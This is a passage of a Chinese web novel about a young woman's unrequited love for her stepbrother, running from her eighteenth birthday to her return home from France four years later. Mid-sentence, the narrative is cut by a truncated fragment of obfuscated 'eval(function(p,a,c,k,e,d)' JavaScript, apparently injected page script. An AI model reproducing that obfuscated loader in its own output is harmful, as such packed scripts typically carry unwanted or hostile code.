林知睿不仅没离开,反而站起身,仰着脖子,目光自下而上地在他脸上巡视。 “你很奇怪,你在……生气吗?” 更准确的形容是恼羞成怒。 “我没有生气。” “那你解释一下,”林知睿看进哥哥眼睛里,不让他避开自己,她一字一字地问他,“在我提到‘搞’和‘做’时,你在联想什么?” 3. 我妹妹 他是她继兄,就算两人没有血缘关系,也是她哥哥。 不能搞,也不能对她做什么。 他能联想什么呢? 哪怕只是有一丁点这种念头,对她来说都是种冒犯。 可林知睿想了。 她在想,为什么余明远是哥哥,而不是别的什么人呢? 可往深了去想,她又想不明白,不明白除了哥哥他还能是谁。 * 高考结束估完分,林知睿又骄傲起来。 这个分绝对能上她的目标大学。 一放暑假,余明远宿舍的人组织去漂流,林知睿跟着一起去了。 余明远宿舍四个人,其中一个带了女朋友,女朋友带了闺蜜,再加上林知睿,一行七个人。 林总给他们弄了辆商务车,七人座,余明远和另一个舍友轮流开。 在路上吃了个午饭,下午赶到目的地。 漂流的地方在山里,环境幽静,水流清澈,有几处落差不小,冲下来时很刺激。 大部分时间,小划艇慢悠悠地漂在溪流上。 林知睿和余明远的划艇在最后,前方不时传来舍友们的嬉闹声。 看到林知睿脱防晒衣,余明远阻止道:“穿着,小心晒伤。” “都湿了,贴在身上不舒服。” 她把脱下的防晒衣随手扔给余明远。 “哥,”林知睿撑着下巴,目光落在余明远脸上,“你和沈非哥女朋友的同学很熟吗?” “人家没名字吗?”余明远纠正她。 “怎么,”林知睿挑眉,“你很介意我这么叫她?” 余明远看了妹妹一眼,“你知道我不是这个意思。” “谁知道你什么意思。”林知睿偏头,赌气不看他。 刚才从将近三米的落差下来,他们的划艇整个没入水中,两个人身上的衣服都湿了。 脱了防晒衣,林知睿身上只剩下无袖短T。 深色的,就算湿了也不会透出里面。 但料子轻薄,紧贴在身上,隐隐约约地勾勒出少女纤柔凹凸的曲线。 余明远收回目光,垂下眼皮。 划艇不大,刚好面对面坐两个人。 腿贴着腿,膝盖抵着膝盖。 余明远垂落的视线中是妹妹白皙的脚背。 林知睿的脚生得漂亮,三十六码的脚,脚趾细长,脚背白皙,隐约可见青色细细的静脉。 余明远轻叹声气,再次别开眼。 溪流变窄,不时遇到凸起的岩石和树杈。 “加上这次,我和沈非女朋友的同学就见过两次,上一次是沈非生日。” “我和她不熟,没加过微信,也没留过电话,你要看我手机吗?” “你加没加她微信关我什么事?”林知睿扬声,“还有你告诉我这些干吗,我又不在意。” 余明远看着用嗓门掩盖心虚的妹妹,轻声说:“嗯,你不在意,是我在意。” “你?”林知睿转回头,“你在意什么?” “在意你。” 林知睿愣住,以为听错了。 但余明远很快又重复了一遍,“我在意你。” “你……”林知睿无意识舔了舔下唇,也跟着重复了一遍,“在意我?” “林知睿,你是我妹妹,你是喜欢还是讨厌,高兴还是难受,我当然会在意。除了父母,我是这个世界上最应该在乎你的人。” 原来是在乎妹妹…… 林知睿也不知道自己在失望什么,手指有一下没一下地抠着划艇拉手,小声咕哝:“你排我爸前面,他要是在乎我就不会离开我了。” 余明远笑了笑。 “所以你觉得比起你,我会和沈非女朋友的同学更熟悉吗?” “人家有名字,”林知睿小声说,“叫陆芷”。 余明远看着妹妹被晒得泛红的脸颊,问:“所以现在还生我气吗?” “谁生气啦……” “小心——”余明远眼疾手快地挡开横刺过来的一根树杈,手背被划了一道口子。 林知睿看到后叫起来:“哥哥你流血了!” “没事,”余明远收回手,“没流血,皮都没破。” “你给我看……” 她作势要拉他手,被他摁了回去。 “小心翻船。” “这水又不深,翻了就翻了,”林知睿强硬地拽过哥哥的手,放到眼前仔仔细细地看,“破了点皮,水里脏,不会感染吧?” “哪儿那么容易就感染了。”余明远才扬起嘴角,笑容突然凝固。 林知睿张开五指,一点点挤进他的五指间,用力握住,喃喃着感慨。 “哥你手好大啊,我的和你一比,简直像小朋友的手。” 她又用力握了几下。 男生的指骨宽大结实,指缝被夹得酸疼。 她由衷评价:“我感觉你能把我手指夹断。” 哥哥当然不会把她的手指夹断。 要说夹,也是后来,她实在难耐,夹哥哥的手纾解…… “林知睿,”余明远强硬地抽回手,脸色不太好看,“坐好,这里水流急。” 林知睿看得出她哥生气了,不敢再闹。 兄妹俩是最后上岸的。 “余神,这儿!”其他人朝他们打招呼。 林知睿挥了挥手。 “等等,”余明远拉住妹妹,“穿好衣服。” 林知睿瞥了眼余明远手里的防晒服,摇头拒绝,“不穿,热。” 余明远不再劝,他亲自给她穿。 防晒服的拉链被拉到脖子处,那架势恨不得把她脸都给遮住。 回去的路上,陆芷细心地发现余明远的手背受伤了,她从包里拿出创可贴递给他。 “给我吧,”林知睿伸手截胡,冲陆芷笑笑,“我哥洁癖,不喜欢碰别人东西。” 这会儿沈非开车,女朋友坐副驾驶,两个室友坐中间排,最后那排依次坐了林知睿、余明远和陆芷。 “哦,好。”陆芷瞥了眼余明远,见他没有反应,才把创可贴交给林知睿。 林知睿很自然地拉起余明远的手放在自己腿上,撕开创可贴包装,动作轻柔地贴上去。 “还是陆芷姐细心,我都忘了你手有伤。” 余明远正给林总发消息报平安,听到林知睿的话,淡笑着说:“你当然不记得,你对我什么时候有过良心?” “你说这种话才没有良心,”林知睿反手指了指自己,“我对你还不够好啊?” “是挺好的,”前面沈非笑着说,“余神大学三年没参加社团学生会,没谈恋爱,教室宿舍两点一线,直到现在依然是没被污染的清清白白一男大,都是咱妹妹的功劳。” “什么意思啊?”沈非女朋友问,“为什么因为妹妹连恋爱都不谈?” “因为余神要忙着陪咱妹妹高考啊!”另一个室友说,“说他再念了一回高中都不为过。” “我经常听见余神和咱妹妹打电话,妹妹要是哪次考试没考好,这电话能从下午打到晚上。你们是不知道余神哄人多离谱,我简直无法想象,能从他嘴里说出那些话。” “怎么个离谱?”陆芷好奇地问。 室友学着余明远的口吻,“睿睿,别难受了,是哥哥的错,哥哥没教好,哥哥为这次考试负所有责任,好不好?” 沈非女朋友震惊道:“真的假的?” “当然真的啊!”室友说,“你们不知道,我那几天做梦都是余神在对我说‘哥哥错了”。 一车人哄笑起来。 “不是,”林知睿扯了下余明远衣袖,窘迫道,“你是这么和我打电话的?” “要不然呢?”余明远对于舍友的调侃不但没生气,反而隐隐露出笑意,“你哭那么惨,我不把责任推自己身上,不哄着你,还能怎么办?” 林知睿回忆了一下。 余明远好像确实那么哄过自己,只是当时听着挺正常,没想太多,此时从别人嘴里听到,总觉得哪里不对劲。 感觉不像是在哄妹妹,而是女朋友…… 漂流挺好玩,可游玩归来的林知睿却闷闷不乐,并且这种情绪延续了很久。 作为人生只有一次的高三暑假,除了和余明远出去了一次,她没约朋友出去狂欢,也没像往常趁着林总心情好买她喜欢的、华而不实的东西。 许阿姨还发现,她胃口变差了。 林总出差回来,一眼就看出女儿瘦了。 邹诚这段时间不在上海,余明远放假后找了份兼职,为了上班方便住在了之前的老房子。 林韵只好自己找女儿谈。 林知睿自然什么都不肯说,倒是林韵告诉了她一件事。 第二天,林知睿见到了父亲江奕。 父女俩坐在咖啡厅里。 十二岁到十八岁,作为父亲,江奕在女儿的世界里缺失了六年。 虽然这其中有各种原因,他刚到法国开展事业不顺利,一直忙于工作,刚离婚那段时间,林韵阻碍他们父女见面。 但无论因为什么,江奕对女儿都深感愧疚。 两人聊了很久。 林知睿哭了,可江奕知道,女儿的眼泪并非因为自己这个父亲而流。 不能和林韵说的那些话,林知睿全都告诉了江奕。 他不甘地压下嫉妒,宽慰:“是他没有眼光。” “爸爸,”林知睿小心翼翼地问,“您不生气吗?” “当然生气啊,”江奕无奈地说,“他让我的宝贝伤心难过,我能不生气吗?” “但他是……” “他是谁不重要,”江奕打断女儿的话,柔声道,“睿睿,喜欢一个人没有错,更不应感到羞愧和害怕。” “可是……” “但如果,”江奕看着女儿满含泪水的眼睛,“你想逃,爸爸永远会为你留好那条撤退的路。” 林知睿没想过要逃。 她的性格,父母家族给她的底气,让她在遇到任何事时,不会选择逃避。 哪怕横冲直撞的结果注定损失惨重。 可余明远没有给她横冲直撞的机会。 在感觉到她有一点苗头后,他就先逃了。 字面意义的“逃”,连行李都来不及收拾,连夜离开了林家。 “我想再试试。”林知睿说。 “好,”江奕心疼道,“无论什么结果,爸爸都会等。” 林知睿生日那天,余明远回来了。 这是继上次漂流,又过了一个月,两人的再次见面。 吃过晚饭,大人们在外面客厅聊天,林知睿走进厨房,反手将门关上。 余明远没回头,但洗手的动作明显一顿。 “为什么不接电话也不回消息?”林知睿已经尽量克制了,但说这句话时声音还是发抖的。 回答她的只有水流的冲刷声。 林知睿往前走了几步,站在余明远身后,垂眸看着他被水打湿的袖口。 “如果你是因为我的年龄……过了今晚我就满十八了。” “哥,”她侧过身,手搭上他手腕,轻声问,“难道你不喜欢我吗?” 余明远垂眸,沉默地看着她把自己的衬衫袖口一点点挽上去。 “就算你不喜欢我,也不要不理我,更不要离开我,好吗?” 她的手搭在他手臂上,温热的肌肤相贴。 从语气到表情,处处都在展示着楚楚可怜。 “你为什么不说话呢?”一滴泪从她眼角滑落,眼尾随即泛红,嗓音里是压不住的哭腔,“你不要我了吗?” 水还开着,哗哗地流,被许阿姨看见必定要心疼。 她的眼泪,哗哗地往下流。 也令人心疼。 因为得不到回应,她终于松开他手时,却被他反手握住。 那样重的力道,像是要把她的手捏断。 她忍着疼,满脸期待地看着他,“哥……” 余明远动了动喉头,声音像是从胸肺里被压出来那般沉重,“林知睿。” “林知睿。” “林知睿……” 简简单单的三个字,是她的名字,也是他此刻唯一能对她说的。 “我收回那天说的话。”林知睿突然说。 余明远没反应过来,脑子空白了一下。 “你说什么?” 林知睿深吸一口气,把眼泪强行憋回去,迎着余明远的目光,认真地说:“余明远,我不说喜欢你了,也不要做你女朋友了。” 那次他们去漂流,在得知有女生,且有不少女生喜欢并且觊觎余明远后,林知睿意识到自己对他有着不正常的占有欲。 一开始她把这种占有欲归于“兄控”。 但那天晚上,他们喝了点酒,稀里糊涂地,她睡在了余明远房间。 清晨醒过来,她发现自己躺在他身边,鬼使神差地,她仰起脖子,吻了下他的喉结。 从她想要吻他那一刻开始,她就再也没法骗自己,对继兄存有什么样的非分之想。 过去那些年,她对他奇怪的感觉,终于有了解释。 她信任他,依赖他,喜欢和他在一起,不止因为他是哥哥,或者说,从来都不是因为他们是兄妹。 在潘多拉的魔盒被打开的一瞬间,所有一切都将被颠覆,谁也无法预料,未来会发生什么事。 但她没有害怕和退缩,她大胆热烈地告诉了他自己的想法。 她说我喜欢你,不是妹妹对哥哥的喜欢,是想做你女朋友,想亲你的喜欢。 在她说出自己真实想法的那天,他落荒而逃。 胆小鬼。 林知睿每晚都哭着骂余明远。 “睿睿,”余明远抬手擦她眼角泪渍,“是哥哥不好,不该让你……有那种错误的认知。” 林知睿摇头,“不,不是错误。” 余明远动作一顿。 “你不敢回应我,是怕我对你不够真心,怕我只是玩玩对吗?”林知睿说,“余明远,如果你不相信我,两年后,等我到了法定年龄,我们就结婚。” 余明远:“……” 两人的交谈最终在许阿姨来到厨房后停止。 但只是暂停,余明远知道,林知睿不会让这件事轻易结束。 六年的相处,他对她足够了解。 她对他,确实不是真正意义上的喜欢。 对于青春期叛逆的林知睿来说,一个对她无微不至,哄着她宠着她的兄长,她绝对忍受不了有一天,他会对她之外的别人好。 她要所有人都爱她,围着她转。 被宠坏的自私鬼。 但林知睿会变成这样,也有他的添砖加瓦。 现在不过是自食恶果罢了。 余明远晚上不打算住下,林知睿为此发了脾气,邹诚又劝了劝,他才留下。 晚上洗完澡,林知睿来找余明远,刚打开房门,看见隔壁的门同时打开。 余明远看到她,愣了下。 “你去哪里?” “下楼拿个东西,”余明远怕吵到林韵他们,压低声音解释,“马上就回来了。” 当余明远的身影消失在楼梯后,林知睿也跟着下了楼。 “抱歉,这么晚还扰你。”小洋房外的梧桐树下站着人。 余明远走过去。 对方把东西交给他,“晚上我们部门聚餐,李老师走得急忘了拿图纸,我明天不上班,麻烦你帮我带给他。” “好。” “等等——” 余明远停下脚步,“还有事吗?” 陆芷往前走了两步,站在路灯下。 余明远的暑期实习是沈非介绍的,去了才知道陆芷也在那家单位,不过两人不在同一个部门,平时遇不到。 今晚陆芷她们部门聚餐,她喝了点酒,没喝醉,脸颊绯红,身上散发着淡淡的酒意。 “也没什么事,”陆芷抬头,看着余明远的脸,她的脸更红了,“只是听说你今天请假了。” “嗯,今天我妹妹生日” 余明远轻手轻脚上楼,在快走到某个房间时放慢脚步,最后停在那道门前。 他不自觉地屏住气息,听着房间里的动静。 他站在门口听了很久,什么也没听到。 静悄悄一片,就好像房间里根本没有人。 余明远回到自己房间。 他躺在床上,静静地看着天花板。 他说不上自己现在是何心情。 刚才下楼去见陆芷时,林知睿分明有话要说。 她要和自己说什么呢? 还是那些乱七八糟的话吗? 如果她再次“表白”,他已经想好了一箩筐的话来打消她的念头。 可是她没有,她很安静,安静到诡异。 而在这样的诡异里,反倒滋生出了令人不安的恐慌。 林知睿太不对劲了。 余明远猛地从床上坐起来。 与此同时,房间的门被打开。 林知睿站在门后,穿着睡衣,长发垂在胸前,半张脸隐匿在走廊的背光中。 要是背后再打束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果破坏的人是妹妹,他不会生气,也不会怪她,他只会耐心地劝解,加倍地疼爱她,直到她明白她不该产生那些不正常的念头。 余明远按照妹妹的要求躺下来。 他们面对面,枕在同一个枕头上。 林知睿乌黑的长发铺在枕头上,有一半被他压在脸侧,软软的,痒痒的。 “已经过了十二点了,”她慢悠悠地说,“我十八岁了,余明远。” 余明远张了张嘴想说什么,就听见她说:“我刚才看到你和陆芷接吻了。” 林知睿伸出一根手指,指腹轻轻按在哥哥的唇上。 余明远没来得及躲开。 她的指尖有淡淡的润肤乳味道。 她抬眸,看进他眼睛里,“哥,你把舌头伸进她嘴里了吗?” “林知睿,”余明远抓住她手腕,眉眼压得很沉,“别说这种话。” 他没有否认。 林知睿一秒落泪,“那我应该说什么?我说什么你才愿意回应我?” “回应你什么?”余明远克制低吼,“你让我回应你什么啊林知睿!” “说你也喜欢我啊!”她也朝他吼,好像谁的声音大谁就是对的。 余明远叹息道:“你知道我有多喜欢你。” “我不要这种喜欢!”林知睿哭出声,“我不要我不要我不要!” “林知睿!”余明远情急之下捂住她的嘴,“你想把大家都吵醒吗!” 林知睿发不了声,眼泪大颗大颗地落下,委屈又不甘地看着他。 余明远看着伤心到哭泣的妹妹,有一种深深的无力感。 “我求你,别哭了,好吗?”他把手放开,转而揉她哭肿的眼尾。 林知睿哭了很久,直到哭累,哭声渐渐停止。 房间里很安静,只有林知睿偶尔抽泣的声音。 余明远独自站在阳台。 林知睿下床,走到落地窗前。 盛夏的深夜依然酷热难当,才在外面站了一会儿就出汗了,白色T恤粘在身上。 他侧身靠着阳台栏杆,融在夜色中的身影高大挺拔。 手指间一点猩红忽明忽暗,青色烟雾从他指尖缓缓飘起。 林知睿拉开落地窗,走到余明远身边。 她偏头看了他很久,直到哭过的眼眶发酸发涩到又要落泪才问他:“什么时候学会抽烟的?邹叔和妈妈知道吗?” “他们不知道。” “为什么抽烟呢?” “我抽得很少。” “你喜欢抽烟?” “不喜欢。”余明远回答得很干脆。 “那你喜欢她吗?” “谁?” “陆芷。” “不喜欢。”更干脆了。 才扬起来的心情忽地又坠落到底。 不喜欢却和她接吻。 所以,不喜欢也能接吻。 林知睿深深地呼吸,满世界都是尼古丁和薄荷的味道。 她突然意识到,从他嘴里出来的东西此时正在自己嘴里,口腔里,身体里。 不知道会不会在哪一处留下痕迹。 可她更希望留在自己口腔和身体里的是他的舌头。 真变态啊,林知睿想。 烟味越来越浓。 她忍着咳嗽,少女柔软的身体慢慢靠近他。 在他低头看过来时,垫起脚尖,吻上去。 “余明远。” “哥哥,好哥哥,你教我接吻吧?” 林知睿怕热,她总嚷嚷没有空调会死。 可事实上没有空调她不会死,因为余明远会为她扇风。 但没有余明远她会死。 真正的死是心如死灰,全身冰冷,寒意渗透骨髓百骸。 死得透透的。 “林知睿。” “你是我妹妹,我永远不会和你接吻。” * 林知睿睡睡醒醒,再起来快中午了。 依然和睡前一样,睁着眼睛看天花板。 四年前,林知睿放弃交大,跟着父亲江奕去了法国。 这一次林韵没有阻止。 她会同意,一来是江奕说服了她,二来是那段时间林知睿的情绪不太好。 林韵怕自己一味阻止,女儿会做出什么极端的事。 十八岁遥远的像一场梦,梦里的人年轻自负又冲动,喜欢冒险,追逐刺激。 直到被当头棒喝,才如梦初醒地发现,自己什么也不是。 曾经的孤注一掷只感动了自己,最后还难堪地以逃离收场。 好在都过去了。 看余明远刚才的态度,应该也不想再提过去那些糟心事了。 起床后,林知睿去隔壁房间转了一圈。 房间里没有人,床上连被褥都没有,看来余明远只是洗了个澡就离开了。 林知睿下楼看到许阿姨。 这是四年来林知睿第一次回家,许阿姨见到她很激动。 “阿拉睿睿哪能噶好看额啦!”许阿姨用手比了下,“四年前你还没我高呢,现在都比我高大半个头了!外国人吃的东西到底热量高蹿个头,我这么看着,越来越像你爸爸了……” 许阿姨意识到说了什么,没再往下说,尴尬地转移话题,问她饿不饿,午饭想吃什么。 林知睿说不饿,哥哥做了早餐,她吃了很多。 许阿姨惊讶道:“明远回来了?” 林知睿不解地问:“他平时不回来吗?” “不是不回来,”许阿姨说,“明远已经搬出去住了。” “什么时候的事?” 许阿姨回忆了一下,“大四刚开学吧,好像你出国念书没多久。” 既然早就搬出去了,今天早上他又为什么会出现在这里? 那么自然地做早餐,回房间洗澡。 就像他一直住在这里。 就在林知睿想不通时,许阿姨接了个电话。 电话是余明远打来的。 “冰箱里的东西我看到了,我以为是睿睿叫的外卖,她说是你做的我才知道你回来过了。睿睿醒了,就在我旁边,要我把电话给她吗?那行,你忙吧。” 许阿姨挂了电话,对林智睿说:“明远说他昨晚通宵加班,今天一早还要回公司,所以就近回来这里洗澡换身衣服。” 林知睿“哦”了声。 合情合理的解释。 除了…… 通宵加班的人下班后还去菜市场逛了一圈。 特地买了鲜虾,费时费力地手工捣成虾泥,只为做一碗鲜虾小馄饨。 一个不多一个不少,正好二十二个。 “睿睿,”许阿姨突然想到什么,“如果我没记错……” “什么?” 许阿姨:“今天是你生日吧?” 4. 都怪我 晚餐许阿姨烧了一大桌菜,邹诚订了蛋糕。 林韵和余明远前后脚到家,两人在停车时遇到。 “你们公司最近在谈的那个项目不错,如果能谈下来……” “回家了就别谈工作了,”邹诚端菜时看到一同进门的两人,不满道,“马上吃饭了。” 许阿姨晚上没留下吃晚饭,最近孙子来她这里过暑假,她还得回去照顾小孙子。 餐桌上四个人。 林韵和余明远还在聊他公司最近投标的某个项目。 余明远大学毕业后,先在市设计院工作了一段时间,后来拉了个几个同学出来单干。 从刚开始承接一些小项目到近两年手握了几个重量级的项目。 林韵虽不涉足建筑业,但她认识的人多,人脉广,消息灵通,一有机会就给余明远介绍行业内的人认识。 邹诚则一直在和林知睿聊。 一家四口,算得上其乐融融。 谁都没提林知睿在国外四年发生的事,就像她只是短暂地旅行后回来,一切都不曾改变。 吃完饭,切蛋糕,有林知睿在,气氛总能热热闹闹的。 她往林韵脸上抹奶油时说:“我最亲爱的林总,感谢您这么多年的培养,让我成为今年最优秀的人。” “那明年就不优秀了吗?”邹诚好奇地问。 “明年轮到二十三岁的林知睿优秀了呀,林知睿说,“我越老越帅、最最亲爱的邹叔,感谢您这么多年对我的关爱,让我成为今年最幸福的人。” “来来来,往我脸上抹!使劲抹!” 林知睿娇纵是娇纵,但这张嘴是真的甜,哄得邹诚心花怒放,就是现在把他头摁蛋糕里也甘之如饴。 “马屁精,”林韵笑着说,“就只感谢我和你邹叔,不感谢你哥吗?你初中高中加一块儿六年,不都是你哥帮你复习?要说培养,真正培养关爱你最多的人是明远。” 林知睿脸上笑容褪去,淡淡道:“那我最后不也没去交大吗?” “你没去是你自己的问题,和明远无关,”林韵瞪她一眼,“林知睿,我可没教你过河拆桥。” 确实是过河拆桥,不过拆桥的人不是她。 当年她想和他更近一步,可他残忍地把那座她费劲搭起来的桥给拆了。 她掉进河里,差点淹死。 好在现在总算爬上岸了。 林知睿手指沾了点奶油,往余明远身边靠过去时说:“哥,妈妈要我感谢你。” 余明远垂下眼皮,目光很轻地落在她指尖。 新鲜动物奶油,没一会儿就化了,黏糊糊的纯白裹在她柔嫩指尖。 不知道尝起来怎么样。 “不用谢,应该的。”余明远说。 余明远难得开玩笑,邹诚和林韵笑起来。 林知睿没笑,她背对着另外两人,在他们看不见的地方,将奶油用力蹭在他衬衫上,看他微微蹙起眉峰,眼底荡开一抹恶劣的笑意。 “哥,”她说,“我替十八岁的林知睿谢谢你,谢谢你作为哥哥,对我这个妹妹的关爱。” 余明远不说话,他只挖了勺奶油放进嘴里。 清淡的奶油香味在口腔中萦绕。 “明远,现在睿睿也回国了,你什么时候搬回家住?”趁着一家都在,林韵又提起了让余明远搬回来的事。 余明远大四搬出去,前两年他在公司附近买了房子后就彻底住外面了。 他一个人住,工作又忙,林韵总担心他不能好好照顾自己。 余明远没说话。 “那里离公司近,他上下班方便。”邹诚说。 “不是有车吗?”林韵说,“从家里开车到他公司不远。” “开车累,上海的早高峰又那么堵。” “不是有司机吗?” “路上多耽误时间。” “我说邹诚,”林韵瞪了邹诚一眼,“不帮着劝就算了,捣什么乱呢?你不说话没人把你当孤寡老人。” 邹诚笑着说:“好好好,我不说了,你们娘俩聊,我和睿睿泡茶喝去。” 余明远叫住邹诚,“爸,这么晚别喝茶了。” “没事儿,我天天喝,”邹诚突然反应过来,“哦,你是怕睿睿喝了茶睡不着?” 林知睿从小就对茶多酚咖啡因这类提神的东西很敏感,喝了不仅睡不着,还特别兴奋,心跳会加速。 当年高考期间,她为了晚上复习喝过几次咖啡,每次喝完心率就会过快。 余明远知道后就不允许她再喝了。 邹诚:“那我去弄点果汁吧。” 邹诚给家里两位女士弄了复合果汁,自己则拿出茶具,和儿子两人泡茶喝。 四个人有一搭没一搭地聊天。 林韵希望余明远搬回来,但余明远始终没松口,她也就不再提,又说起了另一件事。 “我听张局说你和他侄女最近没怎么联系?” 余明远倒着茶,眼也没抬地“嗯”了声。 “什么侄女?”邹诚一脸莫名。 “前段时间我给明远介绍了个人。”林韵简单解释。 “相亲对象?”。 “是啊。” “张局?是规划局的张局吗?” “嗯,”林韵点头,“他侄女去年刚回国,现在在外交部翻译司工作,比明远小两岁,我见过,长得很漂亮。” “条件倒是不错,”邹诚饶有兴致地问儿子,“谈得怎么样了?” 余明远给自己和邹诚面前的茶杯分别倒上茶,不疾不徐地说:“翻译司挺忙的,经常出差,大部分时候都和国内有时差,他们工作时也不能带手机……” “那不行,”林韵打断余明远,皱眉摇头,“忙一点没什么,但两个人不能长时间不沟通,就算在一起了最后也会慢慢疏远。如果是这样,我看还是算了吧。” 邹诚跟着点头。 “那许总的女儿呢?上回吃饭,你们不是加微信了吗?”林韵又问。 “许总的女儿?”余明远想了想,迟疑道,“我以为许小姐有男朋友了。” “没有吧?许总那天不是极力张罗你们吗?” 余明远打开手机,翻出朋友圈里的某张照片发给了林韵,并解释道:“那就是这张照片让我误会了。” 林韵看着许总女儿依偎在某个有点眼熟的男明星身边,是不是男朋友不一定,但许总女儿眼里的爱意做不了假。 于是许总女儿在林韵这里翻篇了。 林韵陆续提了几个人,余明远都一一回复。 余明远只是提了提对方的情况,什么表态都没有,却被林韵自己全都否决了。 聊到后来,林总的脸色不太好看,瞥见身边人的表情,气不打一处来。 “林知睿,你笑什么?” 随着林韵的话,另外两人同时看向林知睿。 突然成为关注点,林知睿笑容僵在嘴角。 林知睿摊手,一脸无辜相,“我……不可以笑吗?” “可以笑,”林韵说,“但在我为你哥的事情烦心时,你笑得没心没肺合适吗?” 不同于刚才憋着偷笑,林知睿直接笑出声。 “林知睿!”林总发飙,“你哥所有的相亲对象都黄了,你很高兴是吧?” “说明远的事呢,你冲睿睿发什么火?”邹诚拧眉。 “妈妈,”林知睿努力忍住笑,“你确定那些相亲对象都黄了,高兴的是我吗?” 她说着话往某个人身上瞥了眼。 “不是你难道还是我和你邹叔?”林韵说,“从小你就爱欺负明远,你以为我不知道?” “好吧好吧,”林知睿无奈道,“哥哥相亲对象全都吹了哥哥没有女朋友,都怪我,行了吧?” 林知睿回着林总的话,眼神却瞟向另一个人,没想到对方也正在看她。 没看错的话,他是在笑吧? 有人替他挡枪了,能不笑么? 林韵倒是没想到她认怂得这么快,反倒不知该说什么。 最后她叹了声气道:“你哥要是能有你一半的能耐,怎么可能到现在连个女朋友的影子都没有。” 林知睿一开始没在意林总这句话。 琢磨了会儿,品出味儿来了。 林知睿看着林韵,眼尾眯了眯。 “什么意思?我的什么能耐?” “什么意思你心里清楚。” 林韵明显不 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那年法国薪资改革,到处闹罢工,巴黎是示威游行的中心,林韵担心女儿,半夜给她打电话。 电话通了,但接电话的人不是女儿,而是一个讲法语的年轻男人。 这件事林韵没和任何人说过,包括邹诚。 在教育女儿上,林韵既希望她成为优秀完美的人,可失败的婚姻又让她对女儿有着很深的愧欠。 所以她同意她去法国留学,就算在这期间她一次都没回过国,她也没逼她回来。 可她没想到自己的纵容,换来的却是女儿的放纵。 林知睿一毕业,林韵就断了她生活费,想要以此逼她回国,也有这件事有关。 “你可以解释,”林韵说,“告诉我那天晚上到底发生了什么事!” “你不会想知道的。”林知睿说。 “林知睿!!!” “林姨,”余明远走过来,站在母女俩中间,挡住林韵的视线,“换药的时间到了,先去换药吧。” “啊,对对对,是该换药了。”邹诚趁机上前把林韵拉走了。 林韵和邹诚上楼后,余明远才转过身。 林知睿低头坐着,面前是切了一半的蛋糕。 “祝睿睿永远开心快乐”只剩下了“开心快乐”。 四个字,对比现在的情形,突兀又讽刺。 “林知睿……” “和你没关系,”林知睿嘴角勾起一丝嘲弄,“这件事她迟早会问。” 她其实不知道林韵那天打来过电话。 那一天实在是太混乱了。 那是她第一次见识到真实的“暴动”。 那些人冲进商店,超市和别人家里。 到处充斥着哭喊和尖叫。 林知睿和几个同学躲在家里,不敢下楼,不敢出门,连窗都不敢打开。 直到晚上,街上的混乱才渐渐平息。 林韵打来电话时,林知睿在卫生间。 因为一天没吃东西,低血糖犯了,差点晕过去,在卫生间里缓了很久。 同学们为了安全呆在同一个房间,听到电话响,不知到谁顺手拿起来接了。 如果林韵当时,或者哪怕事后来问她怎么会有男生半夜接她手机,她会向她解释那天发生的事。 可林韵没问,她想当然地把事情往不好的方面臆断。 骄傲如林知睿,她可以因为囊中羞涩,给来巴黎装逼的小网红当一天兼职摄影师,但永远不会低下头颅,对判罚不公的人澄清自己无罪。 余明远没有离开,他在她身边坐下。 但他什么也没说。 他还和过去一样,每次自己和林总吵架,他总会在事态升级前巧妙地化解。 她受了委屈闷闷不乐,沉默地陪在她身边。 “你是不是也那样想?”林知睿突然开口。 “想什么?”余明远问。 “你在想,”林知睿轻声说,“林知睿,你私生活可真混乱。” 5. 马屁精 余明远几乎是下意识否认。 “不,我不会这么去想你。” “是吗?” “当然。” “就算我永远不说那天发生了什么,你也愿意相信我吗?” “你是我妹妹,”余明远伸手,温柔地替妹妹夹耳边的碎发,“我非常清楚你是什么样的人。” 虽然不是她最期待的答案,但依然令她感动。 没有什么比一个人无条件信任你更珍贵了。 林知睿由衷道:“谢谢。” “我是你哥,睿睿,”余明远说,“你完全可以信任我,依赖我,而不是把我往外推。” “我什么时候把你往外推了?” “没有吗?”余明远看着她,“那为什么没来找我?” 林总断她生活费那段时间,林知睿找邹诚求助,一次都没找过余明远。 其实找余明远帮忙更妥当。 他经济独立,不用怕被林总发现,而且但凡她提出来,他都能满足她。 但她从没向他开过口,不仅如此,之前的四年,她也从未主动联系过他。 两人的交流仅止于逢年过节给家里打电话,当着父母的面,客套简单地问候。 林知睿垂下眼皮,“我只是觉得没必要麻烦你。” “你说这种话,”余明远叹气,“是觉得我的心是石头做的,不会痛是吗?” 林知睿抬头看他一眼,又匆忙低下。 她不知道该说什么。 那年她向他表白,被拒绝后赌气离开,那时她确实恨他,恨他无情地浇灭她满腔炙热的爱意。 她想报复他,让他后悔、歉疚,这一辈子为此不安。 回头想想,那时的自己太年轻,想法太偏执。 怕心里眼里只有自己的哥哥被人夺走,急于将他据为己有,所以才会产生畸形的爱恋。 从始至终都是她在无理取闹,他什么也没做错,却要承受这么多年她的冷暴力。 “哥,”她凑过去,嗓音柔柔,“我最最最亲爱的哥哥,会给我在生日做鲜虾馄饨的哥哥,因为有你,我才是这个世界上最快乐的妹妹。” 她对林韵用了一个“最”,对邹诚用了两个。 而对他是三个。 积压在内心四年之久的怨念和委屈,仅仅只是听她叫一声哥,便被抹平得干干净净。 林知睿骄傲时是真骄傲,没骨气时也是真的没骨气。 不仅说话软,人也软,抱着他手臂来回摇晃。 撒娇卖乖,恨不得钻进你心里去。 余明远没被她抱住的另只手,在她脑门上不轻不重弹了一下。 “马屁精。” 林马屁精除了当年对哥哥进行过长达四年惨无人道的冷暴力外,基本和谁都没隔夜的仇。 当天晚上,林知睿编辑了一大段感人肺腑的文字发给林总。 林总当时没有任何反应,第二天林知睿起床,林总已经为心爱的女儿准备了她最爱吃的早点,还给她发了个很大的红包。 邹诚遛狗回来,看见林知睿抱着林韵,在她脸上亲了又亲,还一口一个“我的好妈妈”。 林韵被她缠得无法,脸是板着的,眼底里却浸满了笑意。 昨晚余明远没回去,住在了原先的房间。 早上四个人一同吃早餐。 邹诚问林知睿:“接下去什么打算?” 当年林知睿说不去交大就不去了,林总怕出事,没敢硬把她留下,作为条件,林知睿答应林总念金融。 但她从小喜欢画画摄影,更是受江奕影响,大学四年不务正业,摄影却玩了个半专业。 林知睿:“我朋友搞了个摄影工作室,想让我过去帮忙。” 林韵停下动作,“朋友?谁?我怎么不知道你有这种朋友?” 